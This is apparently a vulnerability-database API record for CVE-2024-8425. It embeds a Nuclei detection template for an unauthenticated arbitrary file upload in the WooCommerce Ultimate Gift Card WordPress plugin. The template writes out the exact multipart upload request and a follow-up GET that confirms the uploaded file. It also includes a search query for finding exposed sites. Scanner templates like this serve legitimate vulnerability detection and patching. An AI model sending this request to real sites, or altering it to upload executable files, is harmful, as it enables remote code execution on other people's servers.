{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-8425/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-8425/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-8425/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-8425/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-8425/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-8425"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-8425"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-8425.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-8425\n\ninfo:\n  name: WooCommerce Ultimate Gift Card ≤ 2.6.0 - Arbitrary File Upload\n  author: jsnv-dev\n  severity: critical\n  description: |\n    The WooCommerce Ultimate Gift Card plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'mwb_wgm_preview_mail' and 'mwb_wgm_woocommerce_add_cart_item_data' functions in all versions up to, and including, 2.6.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files including PHP scripts to the server through insufficient file type validation, enabling remote code execution and complete server compromise.\n  remediation: |\n    Update WooCommerce Ultimate Gift Card plugin to a version later than 2.6.0 that addresses the arbitrary file upload vulnerability in the mwb_wgm_preview_mail and mwb_wgm_woocommerce_add_cart_item_data functions.\n  reference:\n    - https://github.com/KTN1990/CVE-2024-8425\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-ultimate-gift-card/woocommerce-ultimate-gift-card-260-unauthenticated-arbitrary-file-upload\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-8425\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-8425\n    epss-score: 0.04082\n    epss-percentile: 0.9027\n    cwe-id: CWE-434\n    cpe: cpe:2.3:a:wpswings:woocommerce_ultimate_gift_card:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: wpswings\n    product: woocommerce_ultimate_gift_card\n    fofa-query: body=\"/wp-content/plugins/woocommerce-ultimate-gift-card\"\n  tags: cve,cve2024,wp,wp-plugin,wordpress,woocommerce,woocommerce-ultimate-gift-card,file-upload,vkev,vuln\n\nvariables:\n  filename: \"{{rand_base(7)}}.txt\"\n  file_content: \"{{randstr}}\"\n  file_message: \"{{randstr}}\"\n  boundary_id: \"{{rand_int(100000,999999)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?action=mwb_wgm_preview_mail HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}\n\n        ------WebKitFormBoundary{{boundary_id}}\n        Content-Disposition: form-data; name=\"mwb_wgm_preview_email\"\n\n        test\n        ------WebKitFormBoundary{{boundary_id}}\n        Content-Disposition: form-data; name=\"tempId\"\n\n        1\n        ------WebKitFormBoundary{{boundary_id}}\n        Content-Disposition: form-data; name=\"message\"\n\n        {{file_message}}\n        ------WebKitFormBoundary{{boundary_id}}\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}\"\n        Content-Type: image/jpeg\n\n        {{file_content}}\n        ------WebKitFormBoundary{{boundary_id}}--\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{{file_message}}&name={{filename}}\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/uploads/mwb_browse/{{filename}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{file_content}}\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: kval\n        kval:\n          - file_content\n# digest: 4a0a004730450220308bf124a01d35b283bfdf63bd87de6206c0f6eb7fc528e388f3ec4d9ad78933022100e39bcafeac34d8011e98c01cc92f3d431c58deb0554a7b2f8625313e67c2d105:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-8425"
}